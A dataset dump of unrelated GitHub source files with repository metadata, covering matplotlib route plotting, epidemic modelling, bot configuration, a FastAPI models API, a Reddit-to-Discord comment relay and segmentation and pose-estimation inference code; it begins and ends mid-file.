),\n ]\n","repo_name":"ronald-rgr/ai-chatbot-smartguide","sub_path":"edivorce/apps/core/migrations/0011_auto_20170321_2201.py","file_name":"0011_auto_20170321_2201.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72602249368","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport csv\nimport numpy as np\n\nclass Map:\n\n def __init__(self,map_file,price_file):\n\n self.vertices = []\n self.edges = []\n self.airline_price = []\n self.plot_handle = None\n\n with open(map_file,'r') as csvfile:\n csvreader = csv.reader(csvfile,delimiter=' ')\n last = []\n record_vertex = False\n record_edge = False\n for row in csvreader:\n if len(row) == 0:\n last = row\n continue\n if len(row) == 1:\n if row[0] == 'Vertices:':\n record_vertex = True\n if row[0] == 'Edges:':\n record_vertex = False\n record_edge = True\n last = row\n continue\n\n if record_vertex:\n self.vertices.append([int(row[0]),float(row[1]),float(row[2])])\n if record_edge:\n self.edges.append([int(row[0]),int(row[1]),float(row[2]),float(row[3])])\n \n last = row\n \n with open(price_file,'r') as csvfile:\n csvreader = csv.reader(csvfile,delimiter=' ')\n for row in csvreader:\n self.airline_price.append([float(x) for x in row])\n\n def visualize_topology(self,ax):\n\n label = True\n for v in self.vertices:\n if label:\n ax.scatter(v[1],v[2],s=20,c='r',zorder=3,label='city')\n label = False\n else:\n ax.scatter(v[1],v[2],s=20,c='r',zorder=3)\n # ax.text(v[1],v[2],str(v[0]),fontsize=15)\n\n label = True\n for e in self.edges:\n idx_1 = e[0]\n idx_2 = e[1]\n if label:\n ax.plot([self.vertices[idx_1][1],self.vertices[idx_2][1]], \\\n [self.vertices[idx_1][2],self.vertices[idx_2][2]],'k', \\\n linewidth=0.2, label='airline')\n label = False\n else:\n ax.plot([self.vertices[idx_1][1],self.vertices[idx_2][1]], \\\n [self.vertices[idx_1][2],self.vertices[idx_2][2]],'k', \\\n linewidth=0.2)\n\n ax.set_xticks([])\n ax.set_yticks([])\n ax.spines[\"left\"].set_visible(False)\n ax.spines[\"top\"].set_visible(False)\n ax.spines[\"right\"].set_visible(False)\n ax.spines[\"bottom\"].set_visible(False)\n\n def visualize_path(self,path,ax_graph,ax_route):\n if self.plot_handle != None:\n for h in self.plot_handle:\n h.remove()\n\n self.plot_handle = []\n label = True\n \n h = ax_route.text(0,0,\"Route from city \"+str(path[0])+\" to city \"+str(path[-1]),fontsize=20)\n ax_route.set_ylim([-1.0*(len(path)+1),1.0])\n self.plot_handle.append(h)\n total_cost = 0\n \n for i in range(len(path)-1):\n idx_1 = path[i]\n idx_2 = path[i+1]\n x = self.vertices[idx_1][1]\n y = self.vertices[idx_1][2]\n dx = self.vertices[idx_2][1] - x\n dy = self.vertices[idx_2][2] - y\n if label:\n h = ax_graph.arrow(x,y,dx,dy,color='b',label='path', \\\n head_width = 40, \\\n head_length = 40, \\\n length_includes_head=True, \\\n zorder=5)\n label = False\n else:\n h = ax_graph.arrow(x,y,dx,dy,color='b', \\\n head_width = 40, \\\n head_length = 40, \\\n length_includes_head=True, \\\n zorder=5)\n\n self.plot_handle.append(h)\n\n # route information\n step_cost = self.airline_price[idx_1][idx_2]\n total_cost += step_cost\n h = ax_route.text(0,-1.0*(i+1),\"Step \"+str(i+1)+\": \"+str(idx_1)+\"->\"\\\n +str(idx_2)+\" Price: \"+f\"{step_cost:.2f}\",\\\n fontsize=15)\n\n self.plot_handle.append(h)\n\n h = ax_route.text(0,-1.0*(len(path)),\"Total cost: \"+f\"{total_cost:.2f}\",fontsize=15)\n self.plot_handle.append(h)\n \n ax_route.set_xticks([])\n ax_route.set_yticks([])\n ax_route.spines[\"left\"].set_visible(False)\n ax_route.spines[\"top\"].set_visible(False)\n ax_route.spines[\"right\"].set_visible(False)\n ax_route.spines[\"bottom\"].set_visible(False)\n\nclass Floyd_Warshall:\n\n def __init__(self,path_map_file,price_map_file):\n \n self.path_map = []\n self.price_map = []\n self.plot_handle = None\n \n with open(path_map_file,'r') as csvfile:\n csvreader = csv.reader(csvfile,delimiter=' ')\n for row in csvreader:\n self.path_map.append([int(x) for x in row])\n \n with open(price_map_file,'r') as csvfile:\n csvreader = csv.reader(csvfile,delimiter=' ')\n for row in csvreader:\n self.price_map.append([float(x) for x in row])\n\n def query(self,start,end):\n\n # get the path from start to end\n curr = start\n path = [curr]\n while curr != end:\n curr = self.path_map[curr][end]\n path.append(curr)\n \n return path\n\nclass Incrmental(Floyd_Warshall):\n\n def __init__(self,path_map_file,price_map_file):\n super().__init__(path_map_file,price_map_file)\n\n def query(self, start, end):\n return super().query(start, end)\n\nif __name__ == \"__main__\":\n \n plot = plt.figure(figsize=(12,6))\n spec = plot.add_gridspec(1,2)\n ax_graph = plot.add_subplot(spec[0,0])\n ax_route = plot.add_subplot(spec[0,1])\n\n m = Map('../build/experiment_data/n_50_p_0.2/map.csv',\n '../build/experiment_data/n_50_p_0.2/current_price.csv')\n\n m.visualize_topology(ax_graph)\n\n ### Example block (Could be changed) ###\n \n # Use the solutions of Floyd Warshall solver\n fw = Floyd_Warshall('../build/experiment_data/n_50_p_0.2/fw_path_map.csv',\n '../build/experiment_data/n_50_p_0.2/fw_price_map.csv')\n\n # Specify the start and goal point\n start = 0\n end = 47\n\n ### Example block (Could be changed) ###\n\n path = fw.query(start,end)\n\n m.visualize_path(path,ax_graph,ax_route)\n \n plot.savefig(\"query_example.png\",bbox_inches='tight')\n\n\n\n\n \n","repo_name":"bexilin/Incremental_Shortest_Path","sub_path":"scripts/plot_map.py","file_name":"plot_map.py","file_ext":"py","file_size_in_byte":6637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74320166809","text":"from absl.testing import absltest\nfrom saxml.server import servable_model_params\n\n\nclass ServableModelParamsTest(absltest.TestCase):\n\n def setUp(self):\n super().setUp()\n servable_model_params.ServableModelParams.__abstractmethods__ = set()\n self.params = servable_model_params.ServableModelParams()\n\n def test_overrides(self):\n params = self.params\n params.INT_KEY = 42\n params.STR_KEY = \"hi there\"\n params.LIST_KEY = [128, 256]\n params.ANOTHER_LIST_KEY = [1, 2]\n params.apply_model_overrides(dict(\n INT_KEY=100,\n STR_KEY=\"foo\",\n LIST_KEY=[55, 65, 75],\n ))\n self.assertEqual(params.INT_KEY, 100)\n self.assertEqual(params.STR_KEY, \"foo\")\n self.assertEqual(params.LIST_KEY, [55, 65, 75])\n self.assertEqual(params.ANOTHER_LIST_KEY, [1, 2])\n\n def test_exception_on_missing_field(self):\n params = self.params\n params.INT_KEY = 42\n self.assertRaises(ValueError, params.apply_model_overrides, dict(\n ANOTHER_INT_KEY=100,))\n\n def test_exception_on_different_type(self):\n params = self.params\n params.INT_KEY = 42\n self.assertRaises(ValueError, params.apply_model_overrides, dict(\n INT_KEY=False,))\n\n\nif __name__ == \"__main__\":\n absltest.main()\n","repo_name":"google/saxml","sub_path":"saxml/server/servable_model_params_test.py","file_name":"servable_model_params_test.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"31"} +{"seq_id":"13802460528","text":"import numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport math\n\n# Criterion\ndef compute_error(y_true, y_pred):\n total = len(y_true)\n num_error = 0\n for y, y_ in zip(y_true, y_pred):\n if y != y_:\n num_error += 1\n return num_error\n\ndef isCorrect(y_true, y_pred):\n if np.array_equal(y_true, y_pred):\n return 1\n else:\n return 0\n\n# Plot\ndef plot_history(history):\n xs = [i*10 for i in range(len(history['bit_error']))]\n fig, ax1 = plt.subplots()\n color = 'tab:red'\n # Bit error\n ax1.set_xlabel('# Iterations')\n ax1.set_ylabel('bit error', color=color)\n ax1.plot(xs, history['bit_error'], color=color)\n ax1.tick_params(axis='y', labelcolor=color)\n \n # Accuracy\n ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis\n color = 'tab:blue'\n ax2.set_ylabel('accuracy', color=color) # we already handled the x-label with ax1\n ax2.plot(xs, history['accuracy'], color=color)\n ax2.tick_params(axis='y', labelcolor=color)\n \n fig.tight_layout() # otherwise the right y-label is slightly clipped\n plt.show()\n\n\nclass BinaryAdditionDataGenerator():\n def generate_data(self, n_bits=8):\n x1 = np.random.randint(2, size=n_bits)\n x2 = np.random.randint(2, size=n_bits)\n y = [0 for i in range(n_bits)]\n carry = 0\n for i, (a, b) in enumerate(zip(x1, x2)):\n y[i] = a + b + carry\n carry = 0\n if y[i] >= 2:\n y[i] %= 2\n carry = 1\n x = np.array([x1, x2]).T\n y = np.array(y)\n return x, y\n\n# Data Conversion\ndef to_label(out):\n label = []\n for o in out[1:]:\n if o.item() > 0.5:\n label.append(1)\n else:\n label.append(0)\n return np.array(label)\n\ndef to_input(x1, x2):\n input = np.array([to_binary_list(x1)[::-1], \n to_binary_list(x2)[::-1]]).T\n return input\n\ndef to_binary_list(number, n_bits=8):\n bin_str = bin(number)\n bin_str = \"0\"*n_bits + bin_str[2:]\n bin_list = [int(b) for b in bin_str[-n_bits:]]\n return bin_list\n\ndef to_number(bin_array):\n bin_array = np.array(bin_array).astype(str)\n if len(bin_array.shape) == 1:\n bin_str = ''.join(bin_array)\n return int(bin_str, 2)\n else:\n result = []\n for bin_subarray in bin_array.T:\n bin_str = ''.join(bin_subarray)\n result.append(int(bin_str[::-1], 2))\n return result","repo_name":"aa10402tw/NCTU_Deep-Learning","sub_path":"4. Back-Propagation Through Time (BPTT)/codes/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"1718614693","text":"#! /usr/bin/python\nimport ConfigParser, json, os, random\n\ndef main():\n config = ConfigParser.ConfigParser()\n config.readfp(open('data-gen.cfg'))\n tables = []\n for section in config.sections():\n newTable = {}\n newTable = []\n length = 0\n nullCol = None\n for option in config.options(section):\n values = config.get(section, option)\n values = values.replace(', ',',')\n values = values.split(',')\n if option == 'numberofrows':\n length = int(values[0])\n else:\n newTable.append(values)\n tables.append((section, length, newTable))\n\n sqlTable = ''\n for table in tables:\n tableName = table[0]\n tableLength = table[1]\n columns = table[2]\n numColumns = len(columns)\n sqlTable += 'INSERT INTO `' + tableName + '` VALUES\\n'\n for row in range(0,tableLength):\n currentRow = '( '\n for column in range(0, numColumns):\n choice = random.choice(columns[column])\n if choice == 'NULL':\n currentRow += 'NULL, '\n else:\n if column == numColumns-1:\n currentRow += \"'\" + choice + \"' )\\n\"\n else:\n currentRow += \"'\" + choice + \"', \"\n\n sqlTable += currentRow\n sqlTable += '\\n'\n sqlFile = open('sql-insert-data.sql', 'w+')\n sqlFile.write(sqlTable)\n sqlFile.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"josefdlange/propr","sub_path":"sql/data-generator/data-gen.py","file_name":"data-gen.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"730760610","text":"# settings abc for vsbot.py\n\nTOKEN = \"........\"\n\n# начальное значение без базы\nSHIFT_INTERVALS = {'#1': '🌟 11:00',\n '#2': '🌟 14:00',\n '#3': '🌟 19:00'\n }\n\n\n\n\nSHIFTMAX = 6 # Максимально возможное число записавшихся на смену\nADMIN_LIST = ['////', '////'] # Список id администраторов бота\n\n\n# украшение в get_shift_intervals(goodsymbol)\nGoodSymbol = '🌟'\n","repo_name":"graphinfinit/FrameTelegrambot","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30076032478","text":"import lmfit\nimport numpy as np\nfrom scipy.integrate import odeint\nfrom scipy.optimize import curve_fit\nfrom Backend.Modeling.Differential_Equation_Modeling.model_params import params_SEIURV_fixed\nfrom lmfit import minimize, Parameters\nimport matplotlib.pyplot as plt\n\n\ndef outer_function(y_true, start_vals):\n pass\n\n\nclass SEIRV_model:\n def __init__(self, params=None):\n self.params = params\n\n def get_fit_params(self):\n params = lmfit.Parameters()\n params.add('beta', value=0.5, vary=True)\n params.add('gamma', value=1 / 11, vary=False)\n params.add('delta', value=1 / 3, vary=False)\n params.add('theta', value=0.1, vary=False)\n\n params.add('N', value= 300_000, vary=False)\n params.add('t', value=14, vary=False)\n return params\n\n def get_initial_conditions(self, data):\n population = self.params['N']\n t = self.params['t']\n\n t = np.arange(t)\n\n (S, E, I, R, V) = self.predict(t, )\n\n\n\n\n\n\n\n\n\n\n\ndef outer_function_blab(y_true, start_vals):\n\n params = Parameters\n # model params\n params.add('beta', value=0.5, vary=True)\n params.add('gamma', value=1/11, vary=False)\n params.add('delta', value=1/3, vary=False)\n params.add('theta', value=0.1, vary=False)\n\n # additional params:\n params.add('theta', value=0.1, vary=False)\n params.add('theta', value=0.1, vary=False)\n\n num_days = 14\n # Get overall number of individuals in model:\n N = sum(start_vals[0:4])\n\n\n\n\ndef integrate(num_days, start_vals, N, beta, gamma, delta, theta):\n\n y0 = start_vals\n\n # Create a grid of time points (in days)\n t = np.linspace(0, num_days, num_days + 1)\n\n ret = odeint(deriv, y0, t, args=(\n N,\n beta,\n gamma,\n delta,\n theta\n ))\n\n\ndef deriv(y, t, N, beta, gamma, delta, theta):\n # Unpack values contained in y\n S, E, I, R, V, I_cum = y\n\n ## Differential equations:\n # Susceptibles:\n dSdt = -beta/ N * S * I\n\n # Exposed:\n dEdt = beta / N * S * I + theta * beta / N * V * I - delta * E\n\n # Infectious:\n dIdt = delta * E - gamma * I\n\n # Recovered:\n dRdt = gamma * I\n\n # Vaccinated:\n dVdt = - theta * beta/ N * V * I\n\n ## Cumulated Infections:\n dI_cumdt = delta * E\n\n return dSdt, dEdt, dIdt, dRdt, dI_cumdt, dVdt","repo_name":"lukasheide/Covid-Forecasting-Tool","sub_path":"Backend/Modeling/Differential_Equation_Modeling/Deprecated/diffEqFittingAttempt.py","file_name":"diffEqFittingAttempt.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39945610284","text":"from typing import List, Union\nfrom uuid import UUID\n\nfrom app.integrations.firebase import get_admin\nfrom app.models.schemas import Response\nfrom app.services.models_services import ModelService\nfrom fastapi import APIRouter\nfrom fastapi import Depends\nfrom loguru import logger\nfrom morpheus_data.database.database import get_db\nfrom morpheus_data.models.schemas import MLModel, MLModelCreate\nfrom sqlalchemy.orm import Session\n\nrouter = APIRouter()\nmodel_service = ModelService()\n\n\n@router.post(\"\", response_model=Union[Response, MLModel])\nasync def create_model(*, db: Session = Depends(get_db), model: MLModelCreate, user=Depends(get_admin)):\n logger.info(f\"Creating model {model} by user {user}\")\n model_created = await model_service.create_model(db=db, model=model)\n if not model_created:\n return Response(success=False, message=\"Model not created\")\n\n return Response(success=True, message=\"Model created\", model_created=model_created)\n\n\n@router.get(\"\", response_model=Union[Response, List[MLModel]])\nasync def get_sd_models(db: Session = Depends(get_db), only_active: bool = True):\n sd_model = await model_service.get_models(db=db, only_active=only_active)\n if not sd_model:\n return Response(success=False, message=\"No SD Models found\")\n\n return sd_model\n\n\n@router.get(\"/{model_id}\", response_model=Union[Response, MLModel])\nasync def get_sd_model_by_id(model_id: UUID, db: Session = Depends(get_db)):\n sd_model = await model_service.get_model_by_id(db=db, model_id=model_id)\n if not sd_model:\n return Response(success=False, message=f\"No SD Model found with id {model_id}\")\n\n return sd_model\n\n\n@router.get(\"/{category_id}\", response_model=Union[Response, MLModel])\nasync def get_category_models_by_id(category_id: UUID, db: Session = Depends(get_db)):\n sd_model = await model_service.get_models_by_category(db=db, category_id=category_id)\n if not sd_model:\n return Response(success=False, message=f\"No SD Model found with id {category_id}\")\n\n return sd_model\n\n\n@router.put(\"\", response_model=Union[Response, MLModel])\nasync def update_sd_model(model: MLModel, db: Session = Depends(get_db), admin=Depends(get_admin)):\n logger.info(f\"Updating model {model} by user {admin}\")\n sd_model_updated = await model_service.update_model(db=db, model=model)\n if not sd_model_updated:\n return Response(success=False, message=f\"No SD Model found with source {model.source}\")\n\n return Response(success=True, message=\"SD Model updated\", model_updated=sd_model_updated)\n\n\n@router.delete(\"/{model_source:path}\", response_model=Union[Response, List[MLModel]])\nasync def delete_sd_model(model_source: str, db: Session = Depends(get_db), admin=Depends(get_admin)):\n logger.info(f\"Deleting model {model_source} by user {admin}\")\n sd_model = await model_service.delete_model_by_source(db=db, model_source=model_source)\n if not sd_model:\n return Response(success=False, message=\"No SD Model found\")\n\n return Response(success=True, message=\"SD Model deleted\", model_deleted=sd_model)\n","repo_name":"Monadical-SAS/Morpheus","sub_path":"morpheus-server/app/api/models_api.py","file_name":"models_api.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"31"} +{"seq_id":"71517633368","text":"# display the default index and set a column as an Index in a given dataframe and then reset the index.\n\nimport pandas as pd\n\ndata = {\n 'ID': ['s001', 's002', 's003', 's001', 's002', 's004'],\n 'Class': ['V', 'V', 'VI', 'VI', 'V', 'VI'],\n 'Name': ['Alberto Franco', 'Gino Mcneill', 'Ryan Parkes', 'Eesha Hinton', 'Gino Mcneill', 'David Parkes'],\n 'DOB': ['15/05/2002', '17/05/2002', '16/02/1999', '25/09/1998', '11/05/2002', '15/09/1997'],\n 'Age': [35, 32, 33, 30, 31, 32],\n 'Address': ['street1', 'street2', 'street3', 'street1', 'street2', 'street4'],\n 'Tag': ['t1', 't2', 't3', 't4', 't5', 't6']\n}\ndf =pd.DataFrame(data)\nprint(df)\ndf.set_index('ID', inplace = True)\nprint(df)\ndf.reset_index(inplace = True)\nprint(df)","repo_name":"shashi-v7/python_pandas","sub_path":"Index/ResetIndex.py","file_name":"ResetIndex.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8969310626","text":"import praw\nfrom dhooks import Webhook\nimport datetime\nimport time\n\n# Enter the search terms for your MLR and MiLR team in the quotes, for example 'Oakland A' or 'Philadelphia B'.\nsearch_term_mlr = 'Milwaukee'\nsearch_term_milr = 'Santa Fe'\n\n# Create a webhook in your server by going to Server Settings > Integrations > Webhooks, and create a new Webhook. Set\n# the name and channel, and add an icon if you'd like. Click the Copy Webhook URL button and paste it below inside the \n# quotes.\nwebhook_MLR = Webhook('REDACTED')\nwebhook_MiLR = Webhook('REDACTED')\n\n# To generate a client ID and secret, go here: https://www.reddit.com/prefs/apps scroll all the way to the bottom, and\n# hit the create an app button. Enter something for name and redirect URL, and make sure the script radio button is\n# selected. Hit the create app button, and then paste the client ID and secret below. The user_agent string literally \n# just needs to have some text in it, does not matter what. \nreddit = praw.Reddit(\n client_id='REDACTED',\n client_secret='REDACTED',\n user_agent='REDACTED'\n)\n\n# Don't change anything after here.\n\n\ndef parse_comments():\n for comment in reddit.subreddit('fakebaseball').stream.comments(skip_existing=True):\n update = '**/u/%s on [%s]()**' % (comment.author, comment.link_title, comment.permalink)\n update += '```%s```' % comment.body\n update += '*Created at %s*' % (datetime.datetime.fromtimestamp(comment.created))\n if search_term_mlr.lower() in comment.link_title.lower():\n webhook_MLR.send(update)\n elif search_term_milr.lower() in comment.link_title.lower():\n webhook_MiLR.send(update)\n\n\nwhile True:\n try:\n parse_comments()\n except Exception as e:\n print(e)\n time.sleep(60)\n else:\n time.sleep(360)","repo_name":"jeffrey-cheung/discord-bot","sub_path":"pbp.py","file_name":"pbp.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20642326298","text":"import numpy as np\nimport time, os, inspect, sys\nsys.path.append(\"../\")\nfrom common import resize_images\nfrom functools import partial\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nfrom PIL import Image, ImagePalette\n\nimport models\nfrom modules.bn import InPlaceABN\nfrom modules.deeplab import DeeplabV3\n\n\nclass SegmentationModule(nn.Module):\n def __init__(self, body, head, head_channels, classes):\n super(SegmentationModule, self).__init__()\n self.body = body\n self.head = head\n self.cls = nn.Conv2d(head_channels, classes, 1)\n\n def _network(self, x):\n x_up = x\n\n x_up = self.body(x_up)\n x_up = self.head(x_up)\n sem_logits = self.cls(x_up)\n\n del x_up\n return sem_logits\n\n def forward(self, x):\n sem_logits = self._network(x)\n return sem_logits\n\n\nclass SegmenterABN:\n def __init__(self,\n model_path,\n GPU=\"0\",\n compute_method=\"compute_logits\",\n viz_method=\"visualize_logits\",\n batch_size=1,\n output_downsample_factor=4,\n input_downsample=1):\n # Torch stuff\n torch.cuda.set_device(int(GPU))\n cudnn.benchmark = True\n\n # Create model by loading a snapshot\n body, head, cls_state = load_snapshot(model_path)\n model = SegmentationModule(body, head, 256, 65)\n model.cls.load_state_dict(cls_state)\n model = model.cuda().eval()\n self.model = model\n print(model)\n # end of new code\n\n self.compute_method = compute_method\n self.viz_method = viz_method\n self.height = 576//input_downsample\n self.width = 768//input_downsample\n # TODO: see if we need to downsample it depending on the output size\n self.output_downsample_factor = output_downsample_factor\n\n def compute(self, image):\n return getattr(self, self.compute_method)(image)\n\n def visualize(self, pred, ibatch):\n return getattr(self, self.viz_method)(pred, ibatch)\n\n def compute_logits(self, image):\n # TODO pin_memory=True,\n rgb_mean = [0.41738699, 0.45732192, 0.46886091]\n rgb_std = [0.25685097, 0.26509955, 0.29067996]\n\n image = resize_images(image, [self.height, self.width])\n # image shape B*H*W*C\n with torch.no_grad():\n img = torch.from_numpy(image)\n img = img.cuda(non_blocking=True)\n # from B H W C to B C H W\n img = img.permute(0, 3, 1, 2)\n img = img.float()\n # from a int tensor to a float tensor\n img = img / 255.0\n\n # normalize it\n img.sub_(img.new(rgb_mean).view(1, -1, 1, 1))\n img.div_(img.new(rgb_std).view(1, -1, 1, 1))\n\n sem_logits = self.model(img)\n # this logits has size of batch*nclass*H*W\n\n # compute the visualization within cuda\n max_value, argmax = sem_logits.max(1)\n # the output has size of batch*H*W\n self.argmax = argmax.cpu().numpy()\n sem_logits = sem_logits.permute(0, 2, 3, 1)\n sem_logits = sem_logits.cpu().numpy()\n\n # out has shape batch * nclass * H * W: [1, 65, 72, 96]\n return sem_logits\n\n def visualize_logits(self, pred, ibatch):\n tensor = self.argmax[ibatch]\n img = Image.fromarray(tensor.astype(np.uint8), mode=\"P\")\n img.putpalette(_PALETTE)\n img = img.convert(\"RGB\")\n out = np.array(img)\n return out\n\ndef get_current_folder():\n return os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\ndef load_snapshot(snapshot_file):\n \"\"\"Load a training snapshot\"\"\"\n print(\"--- Loading model from snapshot\")\n\n # Create network\n norm_act = partial(InPlaceABN, activation=\"leaky_relu\", slope=.01)\n body = models.__dict__[\"net_wider_resnet38_a2\"](norm_act=norm_act, dilation=(1, 2, 4, 4))\n head = DeeplabV3(4096, 256, 256, norm_act=norm_act, pooling_size=(84, 84))\n\n # Load snapshot and recover network state\n data = torch.load(snapshot_file)\n body.load_state_dict(data[\"state_dict\"][\"body\"])\n head.load_state_dict(data[\"state_dict\"][\"head\"])\n\n return body, head, data[\"state_dict\"][\"cls\"]\n\n\n\n_PALETTE = np.array([[165, 42, 42],\n [0, 192, 0],\n [196, 196, 196],\n [190, 153, 153],\n [180, 165, 180],\n [90, 120, 150],\n [102, 102, 156],\n [128, 64, 255],\n [140, 140, 200],\n [170, 170, 170],\n [250, 170, 160],\n [96, 96, 96],\n [230, 150, 140],\n [128, 64, 128],\n [110, 110, 110],\n [244, 35, 232],\n [150, 100, 100],\n [70, 70, 70],\n [150, 120, 90],\n [220, 20, 60],\n [255, 0, 0],\n [255, 0, 100],\n [255, 0, 200],\n [200, 128, 128],\n [255, 255, 255],\n [64, 170, 64],\n [230, 160, 50],\n [70, 130, 180],\n [190, 255, 255],\n [152, 251, 152],\n [107, 142, 35],\n [0, 170, 30],\n [255, 255, 128],\n [250, 0, 30],\n [100, 140, 180],\n [220, 220, 220],\n [220, 128, 128],\n [222, 40, 40],\n [100, 170, 30],\n [40, 40, 40],\n [33, 33, 33],\n [100, 128, 160],\n [142, 0, 0],\n [70, 100, 150],\n [210, 170, 100],\n [153, 153, 153],\n [128, 128, 128],\n [0, 0, 80],\n [250, 170, 30],\n [192, 192, 192],\n [220, 220, 0],\n [140, 140, 20],\n [119, 11, 32],\n [150, 0, 255],\n [0, 60, 100],\n [0, 0, 142],\n [0, 0, 90],\n [0, 0, 230],\n [0, 80, 100],\n [128, 64, 64],\n [0, 0, 110],\n [0, 0, 70],\n [0, 0, 192],\n [32, 32, 32],\n [120, 10, 10]], dtype=np.uint8)\n_PALETTE = np.concatenate([_PALETTE, np.zeros((256 - _PALETTE.shape[0], 3), dtype=np.uint8)], axis=0)\n_PALETTE = ImagePalette.ImagePalette(\n palette=list(_PALETTE[:, 0]) + list(_PALETTE[:, 1]) + list(_PALETTE[:, 2]), mode=\"RGB\")\n\nif __name__ == \"__main__\":\n # TODO: rewrite the testing code\n\n # path = \"/home/gaoyang1/data/CityScapes/leftImg8bit/val/munster/munster_000115_000019_leftImg8bit.png\"\n # path = \"/scratch/yang/aws_data/bdd100k/yolo_format/images/val/c8620a67-55f86ae2.jpg\"\n\n seg = SegmenterABN(model_path=\"/scratch/yang/aws_data/mapillary/inplace_abn/wide_resnet38_deeplab_vistas.pth.tar\",\n GPU=\"0\",\n compute_method=\"compute_logits\",\n viz_method=\"visualize_logits\")\n\n paths = [\"/scratch/yang/aws_data/mapillary/validation/images/0daE8mWxlKFT8kLBE5f12w.jpg\"]\n start = time.time()\n print(\"number of images:\", len(paths))\n\n for path in paths:\n id = path.split(\"/\")[-1].split(\".\")[0]\n ori = Image.open(path)\n img = ori\n\n img = np.array(img)\n img = np.expand_dims(img, 0)\n\n img = np.concatenate([img]*1, 0)\n for i in range(10):\n pred = seg.compute(img)\n print(np.max(pred), np.min(pred), np.mean(pred), np.median(pred))\n\n colored = seg.visualize(pred, 3)\n colored = Image.fromarray(colored)\n\n colored.save(id + \"-seg.png\")\n ori.save(id+\"-original.jpg\")\n\n print(\"elapsed time:\", time.time() - start)\n\n","repo_name":"gy20073/aws","sub_path":"inplace_abn/interface_abn.py","file_name":"interface_abn.py","file_ext":"py","file_size_in_byte":8174,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"3907421961","text":"# All Select\nimport sqlite3\ndef select_all():\n conn = sqlite3.connect('test.db')\n cur = conn.cursor()\n\n cur.execute('SELECT * FROM test')\n\n print('[1] Data all print')\n\n books = cur.fetchall()\n\n for book in books:\n print(book)\n\n conn.close()\n\nif __name__ ==\"__main__\":\n\n print(\"==================================\")\n select_all()\n","repo_name":"pjw9889/Lang_Study","sub_path":"Python/DB/All_Select_db.py","file_name":"All_Select_db.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8123421384","text":"from copy import deepcopy\n\nmonkeyLines = open(0).read().split('\\n\\n')\n\nclass Monkey():\n def __init__(self, items, div, func, iftrue, iffalse):\n self.items = items\n self.div = div\n self.func = func\n self.iftrue = iftrue\n self.iffalse = iffalse\n self.seen = 0\n\nmonkeys = {}\n\ndef factory(op, val):\n if val == \"old\":\n return lambda x: x * x\n elif op == '*':\n return lambda x: x * int(val)\n else:\n return lambda x: x + int(val)\n\nfor i, monk in enumerate(monkeyLines):\n lines = monk.splitlines()\n op, val = lines[2].split('old ')[1].split()\n f = factory(op, val)\n\n items = [int(x) for x in lines[1][18:].split(',')]\n \n div = int(lines[3].split()[-1])\n iftrue = int(lines[4].split()[-1])\n iffalse = int(lines[5].split()[-1])\n monkeys[i] = Monkey(items, div, f, iftrue, iffalse)\n\nprimeProd = 1\nfor monkey in monkeys.values():\n primeProd *= monkey.div\n\nmonkeysp2 = deepcopy(monkeys)\n\nfor rounds, monkeys in [(20, monkeys), (10000, monkeysp2)]:\n for r in range(rounds):\n for i in range(len(monkeys)):\n for item in monkeys[i].items:\n monkeys[i].seen += 1\n item = monkeys[i].func(item)\n if rounds == 20: \n item //= 3\n else: \n item %= primeProd\n \n if item % monkeys[i].div == 0:\n monkeys[monkeys[i].iftrue].items.append(item)\n else:\n monkeys[monkeys[i].iffalse].items.append(item)\n monkeys[i].items = []\n \n seen = sorted([monkey.seen for monkey in monkeys.values()])\n print(seen[-1] * seen[-2])","repo_name":"moscars/advent-of-code","sub_path":"2022/day11/p1p2.py","file_name":"p1p2.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41891585872","text":"import cv2\nimport numpy as np\nfrom modules.draw import Plotter3d, draw_poses\nfrom modules.inference_engine_pytorch import InferenceEnginePyTorch\nfrom modules.parse_poses import parse_poses\n\n\ndef rotate_poses(poses_3d, R, t):\n R_inv = np.linalg.inv(R)\n for pose_id in range(len(poses_3d)):\n pose_3d = poses_3d[pose_id].reshape((-1, 4)).transpose()\n pose_3d[0:3, :] = np.dot(R_inv, pose_3d[0:3, :] - t)\n poses_3d[pose_id] = pose_3d.transpose().reshape(-1)\n\n return poses_3d\n\n\nclass PoseService:\n base_height = 256\n fx = -1\n delay = 1\n esc_code = 27\n p_code = 112\n space_code = 32\n mean_time = 0\n stride = 8\n net = InferenceEnginePyTorch('./model.pth', 'GPU')\n R = np.array([\n [\n 0.1656794936,\n 0.0336560618,\n -0.9856051821\n ],\n 